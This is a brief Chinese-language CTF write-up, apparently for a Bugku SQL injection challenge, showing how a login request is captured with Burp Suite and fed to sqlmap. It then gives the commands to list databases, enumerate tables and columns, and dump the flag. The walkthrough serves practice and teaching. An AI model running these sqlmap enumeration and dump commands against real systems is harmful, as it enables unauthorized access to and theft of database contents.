题目
链接:http://123.206.87.240:9001/sql/
输入admin ,admin 没有回显。
根据url的提示很明显是一个sql注入。
用burpsuit抓包,放到sqlmap里跑一下看看
右键保存至桌面为“1.txt”
打开sqlmap,输入指令
sqlmap -r "1.txt" -p admin_name --dbs
-r 表示读文件 。-p为指定参数 --dbs代表获取当前数据库名
获得数据库名字,当前数据库应该是bugkusql1
下面开始爆表
sqlmap -r "1.txt" -p admin_name -D bugkusql1 --tables
可以确定当前flag所在表是flag1
开始爆列名
sqlmap -r "1.txt" -p admin_name -D bugkusql1 -T flag1 --columns
爆出字段名为flag1
爆内容
sqlmap -r "1.txt" -p admin_name -D bugkusql1 -T flag1 -C flag1 --dump
–dump意思是获取字段内容
之后一路回车可以看到flag了